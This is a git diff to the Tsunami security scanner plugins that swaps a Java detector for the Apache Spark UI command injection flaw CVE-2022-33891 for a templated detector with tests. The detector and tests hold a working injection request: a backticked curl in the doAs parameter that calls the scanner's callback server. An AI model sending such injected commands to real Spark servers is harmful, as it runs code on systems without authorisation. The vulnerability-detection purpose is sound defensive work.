diff --git a/community/README.md b/community/README.md
index e651c1cea..ad58bea1c 100644
--- a/community/README.md
+++ b/community/README.md
@@ -39,7 +39,7 @@ This directory contains plugins contributed by community members.
* [CVE-2022-22965 Spring Framework RCE (CVE-2022-22965) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_framework_cve_2022_22965)
* [CVE-2022-36804 Bitbucket Server RCE via command injection](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/bitbucket_cve_2022_36804)
* [Spring Cloud Function CVE-2022-22963 VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_cloud_function_cve_2022_22963)
-* [Apache Spark Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/rce/apache_spark_exposed_api)
+* [Apache Spark Exposed API VulnDetector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto)
* [CVE-2023-0669 GoAnywhere MFT RCE vulnerability Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/goanywhere_cve_2023_0669)
* [AutoGPT Exposed UI VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/autogpt_exposed_ui)
* [CVE-2024-2029 LocalAI RCE detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/localai_cve_2024_2029)
diff --git a/community/detectors/apache_spark_cve_2022_33891/README.md b/community/detectors/apache_spark_cve_2022_33891/README.md
deleted file mode 100644
index 8b9e942d4..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/README.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Apache Spark UI CVE-2022-33891 RCE Vulnerability Detector
-
-This detector checks for Apache Spark UI CVE-2022-33891 RCE vulnerability.
-
-The Apache Spark UI offers the possibility to enable ACLs via the configuration
-option spark.acls.enable. With an authentication filter, this checks whether a
-user has access permissions to view or modify the application. If ACLs are
-enabled, a code path in HttpSecurityFilter can allow someone to perform
-impersonation by providing an arbitrary user name. A malicious user might then
-be able to reach a permission check function that will ultimately build a Unix
-shell command based on their input, and execute it. This will result in
-arbitrary shell command execution as the user Spark is currently running as.
-This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2,
-and versions 3.2.0 to 3.2.1.
-
-- https://spark.apache.org/security.html#CVE-2022-33891
-- https://nvd.nist.gov/vuln/detail/cve-2022-33891
-
-## Build jar file for this plugin
-
-Using `gradlew`:
-
-```shell
-./gradlew jar
-```
-
-Tsunami identifiable jar file is located at `build/libs` directory.
diff --git a/community/detectors/apache_spark_cve_2022_33891/build.gradle b/community/detectors/apache_spark_cve_2022_33891/build.gradle
deleted file mode 100644
index ece06ac69..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/build.gradle
+++ /dev/null
@@ -1,40 +0,0 @@
-plugins {
- id 'java-library'
-}
-
-description = 'Tsunami CVE-2022-33891 VulnDetector plugin.'
-group 'com.google.tsunami'
-version '0.0.1-SNAPSHOT'
-
-
-repositories {
- maven { // The google mirror is less flaky than mavenCentral()
- url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
- }
- mavenCentral()
- mavenLocal()
-}
-
-def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable"
-def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable"
-
-dependencies {
- implementation("com.google.tsunami:tsunami-common") {
- version { branch = "${coreRepoBranch}" }
- }
- implementation("com.google.tsunami:tsunami-plugin") {
- version { branch = "${coreRepoBranch}" }
- }
- implementation("com.google.tsunami:tsunami-proto") {
- version { branch = "${coreRepoBranch}" }
- }
-
- testImplementation "junit:junit:4.13.2"
- testImplementation "org.mockito:mockito-core:5.18.0"
- testImplementation "com.google.truth:truth:1.4.4"
- testImplementation "com.google.inject:guice:6.0.0"
- testImplementation "com.google.inject.extensions:guice-testlib:6.0.0"
- testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0"
- testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4"
- testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4"
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/settings.gradle b/community/detectors/apache_spark_cve_2022_33891/settings.gradle
deleted file mode 100644
index c90b12e32..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/settings.gradle
+++ /dev/null
@@ -1,12 +0,0 @@
-rootProject.name = 'CVE-2022-33891'
-
-def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git"
-def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git"
-
-sourceControl {
- gitRepository("${coreRepository}") {
- producesModule("com.google.tsunami:tsunami-common")
- producesModule("com.google.tsunami:tsunami-plugin")
- producesModule("com.google.tsunami:tsunami-proto")
- }
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java
deleted file mode 100644
index f742efaf5..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Annotations.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202233891;
-
-import static java.lang.annotation.ElementType.FIELD;
-import static java.lang.annotation.ElementType.METHOD;
-import static java.lang.annotation.ElementType.PARAMETER;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import javax.inject.Qualifier;
-
-/** Annotation for {@link Cve202233891VulnDetector}. */
-public class Annotations {
- @Qualifier
- @Retention(RetentionPolicy.RUNTIME)
- @Target({PARAMETER, METHOD, FIELD})
- @interface OobSleepDuration {}
-
- private Annotations() {}
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java
deleted file mode 100644
index 41190766b..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright 2025 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.google.tsunami.plugins.detectors.cves.cve202233891;
-
-import static com.google.common.base.Preconditions.checkNotNull;
-import static com.google.common.collect.ImmutableList.toImmutableList;
-
-import com.google.common.collect.ImmutableList;
-import com.google.common.flogger.GoogleLogger;
-import com.google.common.util.concurrent.Uninterruptibles;
-import com.google.protobuf.util.Timestamps;
-import com.google.tsunami.common.data.NetworkServiceUtils;
-import com.google.tsunami.common.net.http.HttpClient;
-import com.google.tsunami.common.net.http.HttpRequest;
-import com.google.tsunami.common.net.http.HttpResponse;
-import com.google.tsunami.common.net.http.HttpStatus;
-import com.google.tsunami.common.time.UtcClock;
-import com.google.tsunami.plugin.PluginType;
-import com.google.tsunami.plugin.VulnDetector;
-import com.google.tsunami.plugin.annotations.ForWebService;
-import com.google.tsunami.plugin.annotations.PluginInfo;
-import com.google.tsunami.plugin.payload.Payload;
-import com.google.tsunami.plugin.payload.PayloadGenerator;
-import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration;
-import com.google.tsunami.proto.DetectionReport;
-import com.google.tsunami.proto.DetectionReportList;
-import com.google.tsunami.proto.DetectionStatus;
-import com.google.tsunami.proto.NetworkService;
-import com.google.tsunami.proto.PayloadGeneratorConfig;
-import com.google.tsunami.proto.Severity;
-import com.google.tsunami.proto.TargetInfo;
-import com.google.tsunami.proto.Vulnerability;
-import com.google.tsunami.proto.VulnerabilityId;
-import java.io.IOException;
-import java.time.Clock;
-import java.time.Duration;
-import java.time.Instant;
-import javax.inject.Inject;
-
-/** A VulnDetector plugin for CVE 202233891. */
-@PluginInfo(
- type = PluginType.VULN_DETECTION,
- name = "CVE-2022-33891 Detector",
- version = "0.1",
- description = "Checks for occurrences of CVE-2022-33891 in Apache Spark installations.",
- author = "OccamsXor",
- bootstrapModule = Cve202233891VulnDetectorBootstrapModule.class)
-@ForWebService
-public final class Cve202233891VulnDetector implements VulnDetector {
- private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
-
- private final Clock utcClock;
- private final HttpClient httpClient;
- private final PayloadGenerator payloadGenerator;
- private final int oobSleepDuration;
-
- private static final String FINGERPRINT_MASTER = "
Spark Master at ";
- private static final String FINGERPRINT_WORKER = "Spark Worker at ";
-
- @Inject
- Cve202233891VulnDetector(
- @UtcClock Clock utcClock,
- HttpClient httpClient,
- PayloadGenerator payloadGenerator,
- @OobSleepDuration int oobSleepDuration) {
- this.utcClock = checkNotNull(utcClock);
- this.httpClient =
- checkNotNull(httpClient, "HttpClient cannot be null.")
- .modify()
- .setFollowRedirects(false)
- .build();
- this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null.");
- this.oobSleepDuration = oobSleepDuration;
- }
-
- @Override
- public DetectionReportList detect(
- TargetInfo targetInfo, ImmutableList matchedServices) {
-
- return DetectionReportList.newBuilder()
- .addAllDetectionReports(
- matchedServices.stream()
- .filter(NetworkServiceUtils::isWebService)
- .filter(this::isSpark)
- .filter(this::isServiceVulnerable)
- .map(networkService -> buildDetectionReport(targetInfo, networkService))
- .collect(toImmutableList()))
- .build();
- }
-
- public boolean isSpark(NetworkService networkService) {
- try {
- String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
- HttpResponse response =
- this.httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build());
-
- return response.status() == HttpStatus.OK
- && (response.bodyString().orElse("").contains(FINGERPRINT_MASTER)
- || response.bodyString().orElse("").contains(FINGERPRINT_WORKER));
- } catch (IOException e) {
- return false;
- }
- }
-
- private boolean isServiceVulnerable(NetworkService networkService) {
- // Check callback server is enabled
- if (!payloadGenerator.isCallbackServerEnabled()) {
- logger.atWarning().log("This detector needs the Callback Server to be available.");
- return false;
- }
-
- logger.atInfo().log("Callback server is available!");
- Payload payload = generateCallbackServerPayload();
- String targetUri =
- NetworkServiceUtils.buildWebApplicationRootUrl(networkService)
- + "?doAs=`"
- + payload.getPayload()
- + "`";
- var request = HttpRequest.get(targetUri).withEmptyHeaders().build();
-
- try {
- this.httpClient.send(request, networkService);
- Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(this.oobSleepDuration));
- return payload.checkIfExecuted();
-
- } catch (IOException e) {
- logger.atWarning().withCause(e).log("Failed to send request.");
- return false;
- }
- }
-
- private Payload generateCallbackServerPayload() {
- PayloadGeneratorConfig config =
- PayloadGeneratorConfig.newBuilder()
- .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE)
- .setInterpretationEnvironment(
- PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
- .setExecutionEnvironment(
- PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
- .build();
-
- return this.payloadGenerator.generate(config);
- }
-
- @Override
- public ImmutableList getAdvisories() {
- return ImmutableList.of(
- Vulnerability.newBuilder()
- .setMainId(
- VulnerabilityId.newBuilder()
- .setPublisher("TSUNAMI_COMMUNITY")
- .setValue("CVE_2022_33891"))
- .addRelatedId(
- VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-33891"))
- .setSeverity(Severity.CRITICAL)
- .setTitle("CVE-2022-33891 Apache Spark UI RCE")
- .setDescription(
- "The Apache Spark UI has spark.acls.enable configuration option which provides"
- + " capability to modify the application according to user's permissions."
- + " When the config is true, the vulnerable versions of Spark checks the"
- + " group membership of the user without proper controls, that results in"
- + " blind command injection in username parameter.")
- .setRecommendation("You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later")
- .build());
- }
-
- private DetectionReport buildDetectionReport(
- TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
- return DetectionReport.newBuilder()
- .setTargetInfo(targetInfo)
- .setNetworkService(vulnerableNetworkService)
- .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
- .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
- .setVulnerability(this.getAdvisories().get(0))
- .build();
- }
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java
deleted file mode 100644
index e731cc3ab..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorBootstrapModule.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.google.tsunami.plugins.detectors.cves.cve202233891;
-
-import com.google.inject.Provides;
-import com.google.tsunami.plugin.PluginBootstrapModule;
-import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration;
-
-/** An CVE-2022-33891 Guice module that bootstraps the {@link Cve202233891VulnDetector}. */
-public class Cve202233891VulnDetectorBootstrapModule extends PluginBootstrapModule {
- @Override
- protected void configurePlugin() {
- registerPlugin(Cve202233891VulnDetector.class);
- }
-
- @Provides
- @OobSleepDuration
- int provideOobSleepDuration(Cve202233891VulnDetectorConfigs configs) {
- if (configs.oobSleepDuration == -1) {
- return 5;
- }
-
- return configs.oobSleepDuration;
- }
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java
deleted file mode 100644
index edeaa5339..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetectorConfigs.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright 2025 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202233891;
-
-import com.google.tsunami.common.config.annotations.ConfigProperties;
-
-@ConfigProperties("plugins.detectors.spark_cve202233891")
-public class Cve202233891VulnDetectorConfigs {
- int oobSleepDuration = -1;
-}
diff --git a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java
deleted file mode 100644
index 2673e1ea7..000000000
--- a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorTest.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright 2025 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.google.tsunami.plugins.detectors.cves.cve202233891;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;
-import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname;
-import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort;
-
-import com.google.common.collect.ImmutableList;
-import com.google.inject.Guice;
-import com.google.inject.testing.fieldbinder.Bind;
-import com.google.inject.testing.fieldbinder.BoundFieldModule;
-import com.google.inject.util.Modules;
-import com.google.protobuf.util.Timestamps;
-import com.google.tsunami.common.net.http.HttpClientModule;
-import com.google.tsunami.common.net.http.HttpStatus;
-import com.google.tsunami.common.time.testing.FakeUtcClock;
-import com.google.tsunami.common.time.testing.FakeUtcClockModule;
-import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule;
-import com.google.tsunami.plugin.payload.testing.PayloadTestHelper;
-import com.google.tsunami.plugins.detectors.cves.cve202233891.Annotations.OobSleepDuration;
-import com.google.tsunami.proto.DetectionReport;
-import com.google.tsunami.proto.DetectionReportList;
-import com.google.tsunami.proto.DetectionStatus;
-import com.google.tsunami.proto.NetworkService;
-import com.google.tsunami.proto.Software;
-import com.google.tsunami.proto.TargetInfo;
-import com.google.tsunami.proto.TransportProtocol;
-import java.io.IOException;
-import java.time.Instant;
-import javax.inject.Inject;
-import okhttp3.mockwebserver.MockResponse;
-import okhttp3.mockwebserver.MockWebServer;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/** Unit tests for {@link Cve202233891VulnDetector}. */
-@RunWith(JUnit4.class)
-public class Cve202233891DetectorTest {
- private final FakeUtcClock fakeUtcClock =
- FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z"));
- private MockWebServer mockWebServer;
- private MockWebServer mockCallbackServer;
- private NetworkService service;
- private TargetInfo targetInfo;
- @Inject private Cve202233891VulnDetector detector;
-
- @Bind(lazy = true)
- @OobSleepDuration
- private final int oobSleepDuration = 0;
-
- @Before
- public void setUp() throws IOException {
- mockWebServer = new MockWebServer();
- mockCallbackServer = new MockWebServer();
- mockCallbackServer.start();
-
- Guice.createInjector(
- new FakeUtcClockModule(fakeUtcClock),
- new HttpClientModule.Builder().build(),
- FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(),
- Modules.override(new Cve202233891VulnDetectorBootstrapModule())
- .with(BoundFieldModule.of(this)))
- .injectMembers(this);
-
- service =
- NetworkService.newBuilder()
- .setNetworkEndpoint(
- forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort()))
- .setTransportProtocol(TransportProtocol.TCP)
- .setSoftware(Software.newBuilder().setName("http"))
- .setServiceName("http")
- .build();
-
- targetInfo =
- TargetInfo.newBuilder()
- .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
- .build();
- }
-
- @After
- public void tearDown() throws IOException {
- mockWebServer.shutdown();
- mockCallbackServer.shutdown();
- }
-
- @Test
- public void detect_whenVulnerable_returnsVulnerability() throws IOException {
- // For fingerprinting
- mockWebServer.enqueue(
- new MockResponse()
- .setResponseCode(200)
- .setBody("Spark Master at spark://testbed:7077\n"));
- // Sample response to exploit request
- mockWebServer.enqueue(
- new MockResponse()
- .setResponseCode(403)
- .setBody(
- "| SERVLET: | org.apache.spark.ui.JettyUtils$$anon$1-7439513f |
\n"));
-
- mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse());
- DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service));
-
- assertThat(detectionReports.getDetectionReportsList())
- .containsExactly(
- DetectionReport.newBuilder()
- .setTargetInfo(targetInfo)
- .setNetworkService(service)
- .setDetectionTimestamp(
- Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli()))
- .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
- .setVulnerability(detector.getAdvisories().get(0))
- .build());
- assertThat(mockWebServer.getRequestCount()).isEqualTo(2);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
- }
-
- @Test
- public void detect_ifNotVulnerable_doesNotReportVuln() {
- // For fingerprinting
- mockWebServer.enqueue(
- new MockResponse()
- .setResponseCode(200)
- .setBody("Spark Master at spark://testbed:7077\n"));
- mockWebServer.enqueue(
- new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("Hello world!"));
- mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse());
-
- DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service));
- assertThat(detectionReports.getDetectionReportsList()).isEmpty();
- assertThat(mockWebServer.getRequestCount()).isEqualTo(2);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
- }
-
- @Test
- public void detect_ifNotSpark_doesNotReportVuln() {
- mockWebServer.enqueue(
- new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("This is not Spark"));
-
- DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service));
- assertThat(detectionReports.getDetectionReportsList()).isEmpty();
- assertThat(mockWebServer.getRequestCount()).isEqualTo(1);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0);
- }
-}
diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto
new file mode 100644
index 000000000..344a722a8
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891.textproto
@@ -0,0 +1,89 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+ type: VULN_DETECTION
+ name: "ApacheSpark_CVE_2022_33891"
+ author:
+ "Robert Dick (robert@doyensec.com) for the Templated version,"
+ " OccamsXor for the original Java version"
+ version: "2.0"
+}
+
+finding: {
+ main_id: {
+ publisher: "TSUNAMI_COMMUNITY"
+ value: "CVE_2022_33891"
+ }
+ severity: CRITICAL
+ title: "CVE-2022-33891 Apache Spark UI RCE"
+ description:
+ "The Apache Spark UI has spark.acls.enable configuration option which provides"
+ " capability to modify the application according to user's permissions."
+ " When the config is true, the vulnerable versions of Spark checks the"
+ " group membership of the user without proper controls, that results in"
+ " blind command injection in username parameter."
+ recommendation:
+ "You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later"
+ related_id: {
+ publisher:"CVE"
+ value: "CVE-2022-33891"
+ }
+}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+ name: "fingerprint_spark"
+ http_request: {
+ method: GET
+ uri: "/"
+ response: {
+ http_status: 200
+ expect_any {
+ conditions: [
+ { body: {} contains: 'Spark Master at ' },
+ { body: {} contains: 'Spark Worker at ' }
+ ]
+ }
+ }
+ }
+}
+
+actions: {
+ name: "execute_command"
+ http_request: {
+ method: GET
+ uri: "/?doAs=`curl%20{{ T_CBS_URI }}`"
+ }
+}
+
+actions: {
+ name: "sleep"
+ utility: { sleep: { duration_ms: 1000 } }
+}
+
+actions: {
+ name: "check_callback_server_logs"
+ callback_server: { action_type: CHECK }
+}
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+ condition: REQUIRES_CALLBACK_SERVER
+ actions: [
+ "fingerprint_spark",
+ "execute_command",
+ "sleep",
+ "check_callback_server_logs"
+ ]
+}
\ No newline at end of file
diff --git a/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto
new file mode 100644
index 000000000..801343199
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2022/ApacheSpark_CVE_2022_33891_test.textproto
@@ -0,0 +1,83 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+ tested_plugin: "ApacheSpark_CVE_2022_33891"
+}
+
+tests: {
+ name: "whenVulnerable_returnsTrue"
+ expect_vulnerability: true
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/"
+ status: 200
+ body_content:
+ '...\n'
+ 'Spark Master at spark://b41e42d519dc:7077\n'
+ '...\n'
+ },
+ {
+ uri: "/?doAs=`curl%20{{ T_CBS_URI }}`"
+ status: 403
+ body_content:
+ '...\n'
+ 'Error 403 User `touch /tmp/tmpfile` is not authorized to access this page.\n'
+ '...\n'
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenNotVulnerable_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/"
+ status: 200
+ body_content:
+ '...\n'
+ 'Spark Master at spark://b41e42d519dc:7077\n'
+ '...\n'
+ },
+ {
+ uri: "/?doAs=`curl%20{{ T_CBS_URI }}`"
+ status: 200
+ body_content:
+ '...\n'
+ 'Spark Master at spark://2997522835aa:7077\n'
+ '...\n'
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenRandomServer_returnsFalse"
+ expect_vulnerability: false
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "TSUNAMI_MAGIC_ANY_URI"
+ status: 200
+ body_content: "Hello world"
+ }
+ ]
+ }
+}